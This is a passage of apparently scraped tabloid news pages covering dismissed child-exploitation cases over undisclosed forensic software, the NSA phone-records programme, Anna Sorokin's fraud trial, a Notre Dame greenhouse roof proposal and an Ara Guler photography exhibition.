investigation that discovered 'more than a dozen cases since 2011 that were dismissed either because of challenges to the software's findings, or the refusal by the government or the maker to share the computer programs with the defense attorneys, or both.' Actions by the Department of Justice in child pornography cases are raising questions about whether the technology is erroneously targeting innocent people, or if the federal government is prioritizing intellectual property rights over prosecuting real perpetrators (file photo) While people accused of producing and/or distributing child porn are not necessarily sympathetic figures, they are presumed innocent until proven guilty and have the right to mount a fair defense that allows them access to the tools used by law enforcement to build the case against them. 'When protecting the defendant's right to a fair trial requires the government to disclose its confidential techniques, prosecutors face a choice: Give up the prosecution or give up the secret. Each option has a cost,' Orin Kerr, an expert in computer crime law and former Justice Department lawyer, told ProPublica. This is a horrendous crime, and as a society we're obligated to protect victims this young. Brian Levine, University of Massachusetts at Amherst 'If prosecutors give up the prosecution, it may very well mean that a guilty person goes free,' he added. 'If prosecutors give up the secret, it may hurt their ability to catch other criminals. Prosecutors have to choose which of those outcomes is less bad in each particular case.' Law enforcement officials and the software developers trying to combat the scourge of child pornography said that the technology is critical to take on the seemingly endless proliferation of the images and videos on the internet. 'This is a horrendous crime, and as a society we're obligated to protect victims this young,' said Brian Levine, a computer science professor at the University of Massachusetts at Amherst who helped develop one such tool, called Torrential Downpour. 'There are a number of victims who are too young to speak, or can't speak out of fear. This tool is available to law enforcement to rescue those children who are abused,' he told ProPublica. However some law enforcement are hesitant to reveal how they catch the culprits because it could make it easier for other perpetrators to evade detection. Some officials are not willing to give up that broad investigative power for just one conviction. 'While the Department of Justice supports full compliance with all discovery obligations imposed by law, those obligations generally do not require disclosure of sensitive information regarding law enforcement techniques which, if exposed, would threaten the viability of future investigations,' wrote lawyers for the Justice Department and the FBI in a government journal article. In some cases, law enforcement file charges because they say they've tracked offensive images to a defendant's Internet Protocol address but they are then unable to find the images on the accused's actual computer. Multiple child pornography cases have been dropped because the private companies that developed the technology used by federal officials refuse to allow it to be inspected or to share details about how they work including error rates (file photo) It's not clear why there would be a disconnect in those cases, and the reasons will never be known as long as officials refuse to reveal the technology behind their investigations. However, global nonprofit Human Rights Watch is raising questions about how much data law enforcement is extracting and storing on defendants and all Americans. HRW also asked the DOJ to review whether the Child Protection System, one software tool used by law enforcement, had been tested by independent experts. 'The sharing of child-sex-abuse images is a serious crime, and law enforcement should be investigating it,' said Sarah St.Vincent, a Human Rights Watch researcher who examined the practice. 'But the government needs to understand how the tools work, if they could violate the law and if they are accurate,' she told ProPublica. It's a problem that could potentially affect any American, St.Vincent said. These defendants are not very popular, but a dangerous precedent is a dangerous precedent that affects everyone. Sarah St.Vincent, Human Rights Watch 'These defendants are not very popular, but a dangerous precedent is a dangerous precedent that affects everyone,' she said. 'And if the government drops cases or some charges to avoid scrutiny of the software, that could prevent victims from getting justice consistently,' she added. 'The government is effectively asserting sweeping surveillance powers but is then hiding from the courts what the software did and how it worked.' It's worth noting that the number of child pornography cases getting dismissed on the IT technicality are a small fraction of the overall caseload that law enforcement and prosecutors deal with each year. However, the government has been resistant to sharing technology with defense attorneys on all kinds of cases. 'Courts and police are increasingly using software to make decisions in the criminal justice system about bail, sentencing, and probability-matching for DNA and other forensic tests,' said Jennifer Granick, a surveillance and cybersecurity lawyer with the American Civil Liberties Union's Speech, Privacy and Technology Project who has studied the issue. 'If the defense isn't able to examine these techniques, then we have to just take the government's word for it on these complicated, sensitive and non-black-and-white decisions. And that's just too dangerous,' she told ProPublica. The National Security Agency (NSA) has officially recommended discontinuing the federal government's widespread surveillance of phone calls and text messages. The intelligence benefits of collecting information about millions of US communications have become outweighed by technical and legal burdens, the NSA told the White House, according to the Wall Street Journal. The program is currently in place under the USA Freedom Act, which is a pared down version of the program that and former NSA contractor-turned-whistleblower Edward Snowden leaked information about in 2013. National security adviser Luke Murry first revealed that the USA Freedom Act might not be renewed when it expires later this year on the Lawfare podcast on March 2. The National Security Agency (NSA) has officially recommended discontinuing the federal government's widespread surveillance of phone calls and text messages. National security adviser Luke Murry, (left) who is on the staff of Rep. Kevin McCarthy (right) of California, said in March that the program has been unused for six months In response to the news that the NSA would not be recommending renewal of the program, Snowden tweeted on Thursday: 'It is now undeniable that spies worldwide exploit the credulity of journalists to conceal their violation of human rights. This century will teach a harsh lesson: While terrorism is no existential threat to democracy, our political deference to intelligence agencies might be.' Meanwhile, Murry told Lawfare in the podcast published on March 2 that the NSA hasn't been using the surveillance program for the last six months due to compliance and technical issues. The program is currently in place under the USA Freedom Act, which is a pared down version of the program that and former NSA contractor-turned-whistleblower Edward Snowden leaked information about in 2013. Snowden is pictured in 2015 In response to the news that the NSA would not be recommending renewal of the program, Snowden tweeted on Thursday: 'It is now undeniable that spies worldwide exploit the credulity of journalists to conceal their violation of human rights. This century will teach a harsh lesson: While terrorism is no existential threat to democracy, our political deference to intelligence agencies might be' Neither the NSA or Representative Kevin McCarthy of California, who Murry works for, have confirmed his comments that the program has been sitting idle for half of a year. The program, first implemented as part of The USA PATRIOT Act following the terrorists attack of September 11, 2001, allowed for the collection of billions of records per day in the name of preventing future similar tragedies. After Snowden leaked the details of what the government was doing under the act, Congress responded by passing the USA Freedom Act in 2015, which was signed into law by former President Barack Obama. While the scale was drastically reduced, the USA Freedom Act still resulted in telephone companies retaining a few hundred million records per year. Under the current version, Federal intelligence agencies were able to access 151 million call logs in 2016, despite obtaining court orders for only 42 targets, WSJ reported. In 2017, 534 million records were turned over while only 40 suspects were being investigated. The NSA previously insisted the program was vital to national security, but WSJ has now reported that opinions have shifted in the opposite direction. One senior intelligence official has said, 'The candle is not worth the flame.' Some members of Congress, however, remain committed to the objectives, despite difficulties in execution. Republican chairman of the Senate Intelligence Committee Senator Richard Burr of North Carolina said recently, 'If we have technical problems or challenges that NSA has to take into account, that's okay... It's not something we easily shelve.' President Donald Trump's administration has not yet decided whether it will push to renew the legislation at this time, Engadget reported. Fake German heiress Anna Sorokin is 'obviously upset' about being convicted of grand larceny and theft and plans to appeal the verdict, her lawyer said on Thursday. Sorokin was convicted on eight counts of grand larceny and theft of services on Thursday after a month-long trial in Manhattan. The jury acquitted her on two counts; attempted grand larceny for allegedly lying to a bank to get a $22million loan and theft of services for leaving a friend with the bill for a $62,000 trip to Morocco which she promised to pay for. As she returned to Rikers Island to await sentencing, Sorokin's lawyer Todd Spodek told reporters outside the court that they would fight the conviction. 'Obviously she's upset as anyone would be,' he said, adding that she was 'pleased' she beat two of the 10 charges. 'We'll be filing our notice to appeal,' Spodek added but he would not give further details. Sorokin will be sentenced May 9 and faces up to 15 years behind bars. She also faces deportation to Germany because authorities say she overstayed her visa. Scroll down for video Anna Sorokin is shown leaving the court on Thursday after being found guilty on eight counts Todd Spodek spoke outside court on Thursday and said he planned to file a notice of appeal on Sorokin's behalf soon but did not give further details Prosecutors celebrated the victory on Thursday night. 'As proven at trial, Anna Sorokin committed real white-collar felonies over the course of her lengthy masquerade,' said Manhattan District Attorney Cyrus R Vance Jr in a statement. 'I thank the jury for its service in this complex trial, as well as my office's prosecutors and investigators for their meticulous investigation and resolve to ensure that Sorokin faces real justice for her many thefts and lies.' The verdict followed three days of often tedious deliberations, in which jurors asked for repeated clarification on the law and, in one note to the judge, indicated they had reached a 'stalemate' due to a single uncompromising juror. In another note on Thursday, jurors said they were 'unable to reach a unanimous verdict because we fundamentally disagree'. They reached their verdict less than two hours later. Sorokin was acquitted on one charge of attempted grand larceny for trying to obtain a $22million loan from one bank and one charge of grand larceny for allegedly stealing $62,000 from a friend during a trip to Morocco Sorokin's defense attorney Todd Spodek said that the 28-year-old was 'obviously upset' about the verdict but they planned to file an appeal. They are pictured listening to the jury foreman on Thursday night Sorokin will be sentenced May 9 and faces up to 15 years behind bars During the month-long trial, jurors were told how Sorokin lived in luxury New York hotel rooms that she couldn't afford, promised a friend an all-expenses trip to Morocco and then stiffed her with the $62,000 bill and peddled bogus bank statements in her quest for a $22 million loan for a private arts club. In closing arguments on Tuesday, prosecutors portrayed Sorokin as a profligate con artist, while her lawyer insisted she was an aspiring businesswoman taken in by New York's extravagance. Her defense attorney insisted Sorokin had been 'buying time' and planned all along to settle her six-figure debts, portraying her as an entrepreneur who got in over her head. He compared her at one point to Frank Sinatra, saying 'they both created their own opportunities' in New York. 'There's a little bit of Anna in all of us,' Spodek said. 'This is the life she chose to live.' Sorokin had ambitious business plans to build a private arts club in New York and that she was 'persistent and she was determined to make her business a reality', according to her attorney. She may have led an unethical and unorthodox lifestyle, he added, but Sorokin was 'enabled every step of the way by a system that favors people with money.' In trying to prove Sorokin's intent, Assistant District Attorney Catherine McCaw said Sorokin told 'lie after lie' to prolong a life of luxury she couldn't afford, providing forged financial records and identifications to banks. She lived out of ritzy hotels on an overdrawn account, dined at the finest restaurants and even hired a personal trainer who charged $300 a session, McCaw said. Sorokin not only assumed a different identity for herself but created a team of 'imaginary' assistants, McCaw said, a ruse that lent credence to her efforts to expand her credit. There was, for instance, an accountant who didn't exist whom Sorokin blamed for delays in wire transfers. 'All of the defendant's wire transfers are merely a figment of her imagination,' McCaw said. 'These are not white lies. These are lies that help you understand that the defendant, in fact, had criminal intent in this case.' The one-time darling of the Big Apple has been on trial for the past month on grand larceny and theft of services charges after swindling friends, banks and hotels out of $275,000 in a 10-month odyssey. She is pictured in court on Wednesday Sorokin, who adopted the name Anna Delvey, deceived friends and financial institutions alike into believing she had a 60 million euro wealth overseas that would cover her lavish hotel stays and jet-setting lifestyle. Many believed she was the German heiress she claimed to be given she traveled in celebrity circles and tossed around crisp $100 bills. But behind the jet-setting lifestyle and expensive designer clothing, prosecutors said Sorokin was simply a fraudster just trying to get a taste of the high life. There's a little bit of Anna in all of us. This is the life she chose to live. Anna's attorney Todd Spodeck Sorokin was born in Russia in 1991 and moved to Germany in 2007 when she was 16 with her younger brother and parents. Her father had worked as a truck driver and later as an executive at a transport company until it became insolvent in 2013. He then opened a heating-and-cooling business specializing in energy-efficient devices. After moving to London to attend Central Saint Martins fashion school, Sorokin returned to Berlin and interned in the fashion department of a public relations firm. She then relocated to Paris where she secured a coveted internship at the French fashion magazine Purple. It's believed to be around this time that she changed her name from Sorokin to Delvey. Becoming a darling of the New York social scene: How she climbed her way to the top Sorokin was already brushing shoulders with rich people in the years before she came to New York and started dazzling Manhattan's social elite. Acquaintances say Sorokin had spent several years playing the part of an art-obsessed German heiress across the world. Sorokin was already brushing shoulders with rich people in the years before she came to New York and started dazzling Manhattan's social elite She rubbed shoulders with the fashion elite at Paris Fashion Week as early as 2013 and was frequently spotted at London nightspots like the Chiltern Firehouse and Loulou's. Those who knew of her recalled seeing her at a party in Berlin in 2015 during which Sorokin told guests she had just flown in on a private jet. As a result of her internship at Purple in Paris, some noted that she appeared to be close friends with its editor-in-chief Oliver Zahm. By the time Sorokin arrived in New York in early 2016, she seemingly had the social connections to make a name for herself, as well as a designer-clad wardrobe that exuded wealth. At the time, she had 40,000 followers on Instagram and was regularly pictured at events and parties with well-to-do people. She quickly went about proving herself to be an impossibly rich heiress who had plans to shake up New York's art world. She made a show of proving she belonged and would regularly be decked out in her now signature Celine glasses, Gucci sandals and high-end buys from Net-a-Porter and Elyse Walker. Sorokin rented a $400-a-night room for several months at Manhattan's expensive 11 Howard hotel. Concierges at the hotel - including Neff Davis who she would later become friends with - were gobsmacked when Sorokin would pass out $100 tips to them and Uber drivers. She would also splash out on shopping sprees in luxury boutiques, expensive personal training sessions and beautician appointments. The socialite elite were drawn to her and she would regularly host large dinners for celebrities, artists , CEOs and the like at the lavish Le Coucou restaurant in SoHo. By the time Sorokin arrived in New York in early 2016, she seemingly had the social connections to make a name for herself, as well as a designer-clad wardrobe that exuded wealth Sorokin gave varying accounts of where her wealth actually came from, according to her acquaintances. She told some that her father was a Russian oil billionaire. Others were under the impression that her parents were high up in the German solar energy business At one such dinner, Sorokin's concierge friend Neff Davis said she was star struck to find herself sitting next to Home Alone star Macaulay Culkin. She also once hired a PR firm to organize her birthday party at Sadelle's in SoHo. It would later emerged that she never paid the bill. It is unclear what the cost of the party was in the end. During her stay at Howard 11, Sorokin struck up a friendship with Davis when she arrived at the concierge desk asking for recommendations for the best food in SoHo. In an interview with The Cut last year, Davis recalled one instance during their friendship where they went for dinner at SoHo's Sant Ambroeus. Davis said she was forced to pay the $286 bill when Sorokin's 12 credit cards declined. 'The waiter went back to his station and began entering the numbers. There were like 12, and I know the guy tried them all,' she said. 'He was trying it and then shaking his head. And then I started to sweat, because I knew the bill was mine.' She said Sorokin paid her back triple the amount in cash the following day. Another friend, Rachel Deloache Williams, testified during Sorokin's trial that she was under the impression she was a German solar panel heiress. Williams, who also wrote about her ordeal in Vanity Fair where she worked as a photo editor, said they had met in February 2016 and were friends for 18 months. She said Delvey often paid for the pair to go to infared saunas in the East Village and they also dined together and worked out with celebrity trainer Kacy Duke, which Sorokin also paid for. When she arrived in New York in 2016, she quickly went about proving herself to be an impossibly rich heiress who had plans to shake up New York's art world German solar energy heiress or a Russian oil billionaire's daughter: Where did her 'wealth' come from? Sorokin gave varying accounts of where her wealth supposedly came from, according to her acquaintances. She told some that her father was a Russian oil billionaire or a diplomat to Russia. Others were under the impression that her parents were high up in the solar energy business. In reality Sorokin did not have a cent to her name, according to prosecutors. Her father is a former truck driver in Russia who now runs a heating and cooling business. Sorokin managed to avoid suspicion among her wealthy friends in New York for months. People around her say they didn't even think twice when she asked them to put taxi fares and plane tickets on their credit cards. She would often blame her situation on issues with moving her assets across from Europe. Associates recall laughing it off as forgetfulness - because she was so rich - when they had to hound her to pay them back. As she continued to ingratiate herself into the New York socialite scene, Sorokin started talking about her plans to build her dream project a multi-million private arts club that she thought about calling the Anna Delvey Foundation. It would be an arts foundation that would include exhibitions, installations, pop-up shops, bars and restaurants. She compared the project to the SoHo house members' club empire and said she planned to open branches in London, Los Angeles, Dubai and Hong Kong. Bogus bank statements showing a $60m fortune and depositing fake checks: How she managed to scam Sorokin kept up the heiress ruse when she went looking for a $22 million loan to fund her new club in November 2016. She said the loan would be secured by a letter of credit from UBS in Switzerland and showed what prosecutors say were bogus bank statements that purported to substantiate the $67 million in assets she claimed to have. Spencer Garfield, a banker at the private equity fund Fortress, testified during her trial that Sorokin's loan was rejected because she couldn't produce proof of her fortune. Her attorney argued in court that one of the firm's executives had sent Sorokin dozens of proactive texts, telling her she was 'beautiful inside and out', that he was 'forcing myself not to kiss you' and asking to come up to her hotel room. People around her say they didn't even think twice when she asked them to put taxi fares and plane tickets on their credit cards. She would often blame her situation on issues with moving her assets across from Europe As she continued to ingratiate herself into the New York socialite scene, Sorokin started talking about her plans to build her dream project a multi-million private arts club that she thought about calling the Anna Delvey Foundation HOW ANNA MANAGED TO SECURE MONEY: Sorokin sought a $22 million loan from Fortress Investment Group in 2017 to fund her arts club after showing the private equity firm fake documents claiming she had a 60 million euro fortune. They said they would consider it if she put up $100,000 for them to do due diligence, which is basically a background check of her financial records. She managed to get a $100,000 from a different bank, City National, by convincing them to give her an overdraft that she promised to repay within days. Sorokin then gave the $100,000 to Fortress. They spent $45,000 of it carrying out their financial review before Sorokin asked for $55,000 back, claiming she no longer needed their services. She never repaid City National. Instead, she managed to spend the entire $55,000 within a month to fund her lavish lifestyle. She also resorted to depositing bad checks and transferring funds out before they bounced - a process called check kiting. This is how she got the $30,000 to pay 11 Howard via a wire transfer. Between April 7 and April 11, she deposited $160,000 in bad checks into her Citibank account and transferred $70,000 out before they bounced. In August, she opened a different account with a different bank, Signature, deposited $15,000 in bad checks and withdrew $8,200 before they bounced. Advertisement Prosecutors said Sorokin ended up bailing on another firm when it pressured her for a meeting with a UBS banker who could verify her assets. Another New York banker testified that Sorokin seemed to 'speak the language' of the financial world during her attempt to obtain a multimillion-dollar loan. Ryan Salem of City National Bank told the court that his bank denied a request to finance the private arts club Sorokin proposed building. Salem said the financial statements she provided in support of the loan just 'didn't add up.' 'We always believed that she had money,' he said. 'She seemed to speak the language. She understood the financial jargon that you need to know to interact and transact in this environment.' Despite a host of red flags, City National still agreed to lend Sorokin $100,000 in an overdraft that she promised to repay within days. Sorokin sought this $100,000 after Fortress agreed to consider her loan request if she provided the funds for them to do due diligence, which is basically a background check of her financial records. She gave the $100,000 to Fortress and they spent $45,000 of it carrying out their financial review. Sorokin then asked for the remaining $55,000 back, claiming she no longer needed their services. She never repaid City National. Instead, she managed to spend the entire $55,000 within a month to fund her lavish lifestyle. Between April 7 and April 11 in 2017, prosecutors said Sorokin deposited $160,000 in bad checks into her Citibank account and transferred $70,000 before the checks could bounce. In August, prosecutors said Sorokin opened a bank account with Signature Bank and deposited $15,000 of bad checks into the account. She withdrew about $8,200 in cash before the checks were returned. Her fall from grace: The $30,000 in hotel charges and a $62,000 Morocco trip she couldn't pay for Sorokin's fall from grace seemingly started to unravel when she was kicked out of the 11 Howard hotel. Her friend Neff, who worked at the hotel, was contacted by a manager at 11 Howard in early 2017 to say they didn't have a credit card on file to pay for Sorokin's lengthy stay. At that point, Sorokin had racked up $30,000 in charges at the hotel. When the hotel pressed her for payment, Sorokin told them a wire transfer was on the way and then proceeded to order a case of 1975 Dom Perignon for the staff. Citibank eventually did send the wire transfer for the full $30,000 amount, which prosecutors said she paid for using money from bad checks. But the hotel still locked Sorokin out of her hotel room in May 2017 while she was away on a trip to Nebraska because she couldn't provide a working credit card. Sorokin had chartered a private plane that cost $35,400 to and from the Berkshire Hathaway shareholders meeting in Omaha, Nebraska so she could try and meet billionaire Warren Buffet. She boasted to friends that she got into a dinner party and spoke to the billionaire herself. The bill for the charter company, which is popular among New York's elite who use it to fly to and from the Hamptons and Miami, never got paid. A spokesman for Fly Blade said it made an exception for Sorokin because international payments can sometimes take time to come through. In Sorokin's case, she had assured them with doctored confirmation of payment. 'For the flight in question, we received oral confirmation of the funds transfer with routing numbers and all relevant and verifiable account information. This was followed by receipt of a PDF of a Deutsche Bank wire confirmation which Deutsche Bank later determined was doctored,' a spokesman told DailyMail.com. When Sorokin did not pay, they canceled the return leg of her trip. The jet was also already en-route to Los Angeles, they said, so 'the cost of stopping in Omaha was de minimus'. Friend, Rachel Deloache Williams, who wrote about her ordeal with Anna in Vanity Fair, went with Sorokin on the Morocco trip. When Sorokin's credit cards declined, Williams was forced to put the $62,000 trip on her work card During cross examination last week, Sorokin's attorney questioned her former friend Williams about how she didn't see the red flags other had raised about his client's wealth. He suggested that Williams had turned a blind eye because she was a beneficiary of Sorokin's generosity Upon her return to New York, she was evicted by police from the 11 Howard hotel. She moved her luggage to the Mercer hotel just around the corner and then immediately embarked on a $62,000 extravagant trip to Morocco that she had promised two friends that same month. Williams - the Vanity Fair photo editor - was among those invited on the all-expense paid trip, as well as Sorokin's personal trainer Kacy Duke and a videographer to document the trip 'for fun'. Sorokin had told her friends she needed to leave the country to allow her tourist ESTA visa to renew. The flights were paid for by Williams on her work credit card and she assumed Sorokin would reimburse her since she had claimed she would foot the bill for the lavish vacation. They checked into a $7,000-a-night villa at the five star resort La Mamounia. The six-day trip was without hiccups for several days until the hotel staff insisted on putting a credit card on file because Sorokin had booked their trip without a working one. Many believed Anna was the German heiress she claimed to be given she traveled in celebrity circles and tossed around crisp $100 bills Williams, who said she had $410 in her checking account at the time, was forced to hand her credit card over. The balance was more than she earned in a year. Sorokin had promised to pay her back $70,000 when they returned to New York. But after months of hassling her for the money, Williams said she reported Sorokin to police and then the New York district attorney's office. After returning from Morocco and having been kicked out of the 11 Howard, Sorokin had checked into the Beekman Hotel. She told Williams that the Mercer - where she had dropped her bags before leaving on the trip - had since booked out. She was subsequently locked out of her room at the Beekman after just 20 days when the hotel realized they didn't have a working credit card on file and she had racked up $11,500 in charges. Sorokin then checked into W Hotel downtown for two nights but met a similar fate. She then asked her trainer and Williams if she could sleep on their couches. Sorokin was arrested in October 2017 for stealing $275,000 through multiple scams between November 2016 and August 2017. It emerged last week during the trial that Sorokin's friend Williams had helped set up her arrest. Williams, with the help of the NYPD, had arranged a lunch with Sorokin in Los Angeles so the fake socialite could be taken into custody. Sorokin has always denied the 16 charges filed against her, including grand theft and larceny. Her attorney Todd Spodek has claimed his client never intended to commit a crime and she had always intended to pay back the money she owed. He told jurors during the opening statements of her trial that Sorokin was exploiting a system that was 'easily seduced by glamour and glitz' after she saw how the appearance of wealth opened doors. Spodek argued that Sorokin was just trying to buy time so she could launch her business and repay the debts. 'Anna had to fake it until she could make it,' her attorney said. Following her arrest in October 2017, Sorokin made several brief court appearances looking a world away from the German heiress she claimed to be. When her trial started on March 27, Sorokin's fashion choices drastically changed During cross examination last week, Sorokin's attorney questioned her former friend Williams about how she didn't see the red flags other had raised about his client's wealth. He suggested that Williams had turned a blind eye because she was a beneficiary of Sorokin's generosity. 'This is the most traumatic thing I've ever been through,' Williams said tearfully during the trial. 'I wish I had never met Anna. If I could go back in time and not be where I am today, you bet I would.' During the trial, Williams told jurors that she was paid $1,300 for the Vanity Fair article and she has sold her story to HBO and publishing company Simon & Schuster. She stands to make about $635,000 if the deals go through. Netflix or HBO? Hollywood's fight for Sorokin's story Almost as quickly as Sorokin was arrested, producers and screenwriters were clambering to secure the rights to her story. There are two productions in the works: a Netflix series produced by Grey's Anatomy creator Shonda Rhimes and a dueling HBO series by Lena Dunham. Sorokin, who has been jailed at Rikers since her arrest, is said to be thrilled about the interest, according to friends. Neff Davis (above), who met Sorokin when she was a concierge at the 11 Howard, said Anna wants Jennifer Lawrence or Margot Robbie to play her in a Netflix or HBO series 'She's like, Okay, as long as Jennifer Lawrence or Margot Robbie play me,' Neff Davis, a former hotel receptionist described as Sorokin's 'only remaining friend', told Paper magazine last year. She was aghast that there were rumors Lindsay Lohan was being considered, Davis said. 'Oh my god, no offense, but isn't she like 30? My hair's not even red anymore, did you tell them that,' Davis claimed Sorokin told her during one conversation about it. 'She really, really wants Margot Robbie. 'She just watched I, Tonya in Rikers and thinks Margot is bada**. I'm sure Margot Robbie would kill it,' Davis added. Neither Robbie nor Lawrence has signed on to any project. During her trial, she was lambasted by Justice Diane Kiesel for seeming to care more about the productions than the trial. 'She seems more concerned about who is going to play her in the movie than what she's done to the people she allegedly took advantage of,' Kiesel said of Sorokin. 'This is not a fashion show': How her trial became a catwalk of designer clothing Sorokin was also scolded by the judge multiple times during the trial for delaying proceedings because she wasn't happy with her outfit choices and treating the trial like a 'fashion show'. She turned heads on each day of her trial thanks to her choice of designer clothing - but the choice infuriated the judge and ended with Sorokin in tears. During one court appearance, Sorokin refused to come out of her holding cell dressed in her prison uniform. The hearing was delayed when her attorney handed the judge a bag with a weeks worth of clothing, which then had to be checked by security. Sorokin (pictured on Tuesday) was also scolded by the judge multiple times during the trial for delaying proceedings because she wasn't happy with her outfit choices and treating the trial like a 'fashion show' On the first day of her trial, Sorokin stepped into the courtroom dressed in her usual Celine glasses, a sleek, low cut black Michael Kors dress and a black choker Sorokin donned this white sheer Zara dress on Wednesday as the jury continued to deliberate in her case 'This is the last day we're playing with clothes,' a furious Judge Diane Kiesel said. Sorokin eventually emerged in a court appointed outfit because she didn't like what the attorney had picked. She wept and had to be consoled by her attorney when the judge scolded her courtroom antics. 'I've had a jury here since 9.30 this morning,' the judge told her. 'This is unacceptable and inappropriate... This is not a fashion show.' The one-time darling of the New York social scene and her attorney Todd Spodek had enlisted the services of a stylist for her courtroom appearances. Stylist Anastasia Walker - who has worked with the likes of Courtney Love, T-Pain and G-Eazy - quickly started dressing her in Yves Saint Laurent, Michael Kors and Victoria Beckham. On the first day of her trial, Sorokin stepped into the courtroom dressed in her usual Celine glasses, a sleek, low cut black Michael Kors dress and a black choker. The following day she stepped out in a sheer black Yves Saint Laurent blouse and Victoria Beckham pants. She opted for two black mini-dresses and black tights last week, as well as black pants with various beige, black and white blouses. Sorokin dared to wear a snakeskin mini-dress on Monday as she declined to testify. On Tuesday and Wednesday, Sorokin opted for a cream lace dress that skimmed her thighs and a white sheer Zara dress. During one court appearance on April 3, Sorokin refused to come out of her holding cell dressed in her prison uniform. She eventually emerged in a court appointed outfit and cried when she sat down Sorokin dared to wear the snakeskin print mini-dress on Monday as she declined to testify and both sides rested their cases in the fraud trial Her attorneys had tried to get her into stilettos for the trial but the Department of Corrections deemed them to be too dangerous. Instead, Sorokin has been wearing the same pair of black ballet flats throughout the trial. An Instagram account was quick to pop up titled AnnaDelveyCourtLooks that has been documenting her daily outfits during the high-profile trial. Her style, while on trial for fraud, has been described by onlookers as 'iconic' and 'mysterious chic'. Sorokin's stylist said it was intentional and each outfit has been well planned. Walker said she opted for monochrome pieces because they are timeless and that needed to be the case because Sorokin's photos were likely to appear in various media outlets. Another factor that weighed on Walker was that Sorokin's courtroom style could affect how she is portrayed in the possible Netflix and HBO series about her. 'I really tried to focus on classic silhouettes and classic pieces in general,' Walker told Elle Magazine. '(The all black) is mysterious chic, and although it's getting a lot of media attention, this is still her real life. People have made comments that she doesn't tale life seriously, but to me black is just a strong and powerful color. It's serious.' Walker said she became connected to Sorokin through a mutual friend, Neff Davis the hotel concierge at the 11 Howard hotel and one of Sorokin's only remaining friends. 'I couldn't show her photographs, but as people interested in fashion, we spoke in references about the themes she wanted to come through. I selected some timeless pieces, given that everything is so public today and (trial) photographs can be saved, potentially forever,' Walker said. The stylist sent Sorokin several pieces of borrowed clothing from designers including Saint Laurent, Victoria Beckham, Michael Kors and Chloe. Advertisement French architects have revealed a stunning set of plans to redesign the Notre Dame Cathedral's fire-ravaged roof as a greenhouse. The proposal was shared after French Prime Minister Edouard Philippe proposed 'an international architecture competition' to rebuild the iconic cathedral's spire which was completely destroyed in the fast-spreading blaze on April 15. Prime Minister Philippe shared his wish that the cathedral should be 'adapted to issues of our time' and architects Studio NAB have come up with the concept of turning the damaged roof into a giant greenhouse as a homage to the importance of nature. The French studio has now showed off its design, which comes with an apiary that takes the place of the spire. French firm Studio NAB said that it wanted to look at the redesign of Notre Dame as a question of environmental, educational and social integration This will house the 180,000 or so bees that survived the fire. Design photos show the greenhouse perched on top of the church, complete with a golden-hued steel frame filled with glass panels. Inside, there would be rows of planters built from that burnt wood in the old church's attic. They envisage that the greenhouse and apiary would act as an education hub where people can learn about horticulture and urban agriculture. Studio NAB said that it wanted to look at the redesign of Notre Dame as a question of environmental, educational and social integration. The firm plans to replace the church's damaged roof with a glass greenhouse, before filling it with plants The plans said: 'On this fire and in the period of crisis that the country and the world are currently going through, we are lucky to build a place of reference where conservation, enrichment of an exceptional heritage and taking into account societal challenges in ecology and equal opportunities. 'Protecting the living, reintroducing biodiversity, educating consciences and being social, are all symbols, faithful to the values of France and those of the church, that we could defend and promote for this project.' President Emmanuel Macron pledged last week that the cathedral would be rebuilt in five years. The unveiling of the plans comes just days after the contractor renovating Notre Dame admitted that scaffolders flouted a smoking ban during works - but denied it caused the devastating blaze. Scaffolding company Le Bras Freres had a strict smoking ban, but the height of the steeple and the time it took to come down to ground level meant some ignored it. The cathedral's destroyed spire would also be replaced by an apiary to house the 180,000 or so bees that survived the blaze Workers were attempting a major renovation on the steeple to restore its lead covering and joints. Notre-Dame's now mostly-destroyed roof was made of wood, and included some of the original beams erected in the 12th century.'There were colleagues who from time to time broke the rules and we regret it,' a spokesman for scaffolding company Le Bras Freres told AFP, before adding: 'In no way could a cigarette butt be the cause of the fire at Notre-Dame.' Spokesman Marc Eskenazi said some workers 'had admitted in front of the police that they did smoke from time to time,' confirming a report in the satirical newspaper Le Canard Enchaine. President Emmanuel Macron pledged last week that the cathedral would be rebuilt in five years Workers stand on the roof of the Notre-Dame de Paris cathedral in Paris one week after a fire devastated the cathedral Scaffolding company Le Bras Freres has admitted some of its workers flouted a smoking ban while working on the monument - but denied a cigarette could have caused the blaze on April 15 He dismissed the idea of a cigarette starting the fire, saying 'anyone who has ever tried to light a fire at home knows that it is not by putting a cigarette butt on an oak log that anything happens'. French investigators have already interviewed the site workers and other witnesses and are now trying to find the origin of the fire at one of Europe's most visited monuments. There has been media speculation that a short-circuit on one of the temporary lifts built into the scaffolding and used by workers might be responsible. Advertisement A new exhibition remembering photojournalism great Ara Guler is underway at the Saatchi Gallery. Ara Guler, born to Armenian parents in 1928, was nicknamed the 'Eye of Istanbul' and worked as Near East photojournalist for Time Life in 1956, Paris Match in 1958 and Stern magazine. He became head of photography of the Arab magazine Hayat in 1961, and was also recruited for the Magnum Agency - one of the world's foremost photography agencies. Guler, who became renowned in the photojournalism world for his ability to capture history through his work - and particularly the everyday life of his home city, Istanbul - suffered a fatal heart attack aged 90 last October after battling kidney failure. He has been hailed as one of the world's greatest photojournalists, with a unique eye for artistic expression, though he once said his aim was not to produce 'art photography', but simply to reflect reality as it really was. Following the exhibition in London, which comes to a close on May 5, Guler's work will be exhibited in Paris, Kyoto, New York, Rome and Mogashishu. A new exhibition remembering photojournalism great Ara Guler is appearing at the Saatchi Gallery (pictured: One of Guler's snaps of Winston Churchill) Guler, nicknamed the 'Eye of Istanbul', died at the age of 90 last October at the age of 90 after battling kidney failure (pictured left: Another snap of Winston Churchill. Right: Guler's picture of Fethiye Mosque in central Athens, Greece, 1968) He became head of photography of the Arab magazine Hayat in 1961, and was later recruited for the Magnum Agency - one of the world's foremost photography agencies (pictured left: Bill Brandt. Right: Halik, 1956) Guler rose to fame for his archetypal black and white pictures of life in Turkey through the mid-20th Century (pictured: Kakakoy, 1963) The Armenian-Turkish photographer showed great prowess in making the every day environment and normal people of Turkey into pictures that reveal a story (pictured: Beyoglu, Turkey, 1958) Guler was the best-known Turkish photographer, and the first person from the country to be made a member of the American Society of Magazine Photographers (pictured left and right: English film director and producer Alfred Hitchcock) In 2002 Guler was awarded 'the Legion d'honneur: Officier des Arts et des Lettres' by the French government, and seven years later he was awarded 'La Medaille de la Ville de Paris' (pictured: Tahtakale, 1966) Guler had once said that 'with a photo, you capture history, you stop it with a machine' (pictured: An array of boats gathered in Halic, Istanbul, 1962) While Guler rose to international fame, much of his work focused on his home city of Istanbul, often revealing the harsh reality of life for its residents (pictured: 